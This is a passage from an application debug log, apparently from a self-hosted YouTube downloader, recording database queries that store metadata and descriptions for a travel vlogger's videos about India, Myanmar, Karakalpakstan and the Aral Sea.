?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "001e5065-7274-4ec7-b308-3e99ab483805", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 03:00:53Z], ~U[2026-08-20 03:00:53Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 20:00:53.506 [debug] QUERY OK source="sources" db=0.1ms idle=63.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:53.506 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:53.507 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 20:00:53.507 [debug] Current batch of media processed. Will check again in 1000ms 20:00:54.508 [debug] Current batch of media processed. Will check again in 1000ms 20:00:55.509 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 20:00:55.510 [debug] QUERY OK source="sources" db=0.2ms idle=727.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:55.510 [debug] QUERY OK source="sources" db=0.1ms idle=728.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:55.511 [debug] QUERY OK source="media_items" db=0.2ms idle=728.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 20:00:55.512 [debug] QUERY OK source="media_items" db=0.7ms idle=728.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "8839aa49-88df-4602-8b15-7e0adefceb5b", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 03:00:55Z], ~U[2026-08-20 03:00:55Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 20:00:55.512 [debug] QUERY OK source="sources" db=0.1ms idle=67.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:55.512 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:55.513 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 20:00:55.513 [debug] Current batch of media processed. Will check again in 1000ms 20:00:56.514 [debug] Current batch of media processed. Will check again in 1000ms 20:00:57.515 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 20:00:57.516 [debug] QUERY OK source="sources" db=0.4ms idle=733.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:57.516 [debug] QUERY OK source="sources" db=0.1ms idle=734.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:57.517 [debug] QUERY OK source="media_items" db=0.3ms idle=734.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 20:00:57.518 [debug] QUERY OK source="media_items" db=0.7ms idle=735.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "b66cfd27-47a9-4d29-8ee6-c12e9ef23bab", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 03:00:57Z], ~U[2026-08-20 03:00:57Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 20:00:57.518 [debug] QUERY OK source="sources" db=0.2ms idle=71.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:57.519 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:57.519 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 20:00:57.520 [debug] Current batch of media processed. Will check again in 1000ms 20:00:58.520 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 20:00:58.521 [debug] QUERY OK source="sources" db=0.3ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:58.521 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:58.522 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 20:00:58.523 [debug] QUERY OK source="media_items" db=0.7ms idle=1002.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "b3d90e75-80dc-46b4-9638-2ea2eda40759", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 03:00:58Z], ~U[2026-08-20 03:00:58Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 20:00:58.523 [debug] QUERY OK source="sources" db=0.2ms idle=75.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:58.523 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:58.524 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 20:00:58.524 [debug] Current batch of media processed. Will check again in 1000ms 20:00:59.525 [debug] Current batch of media processed. Will check again in 1000ms 20:01:00.218 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:00.526 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I 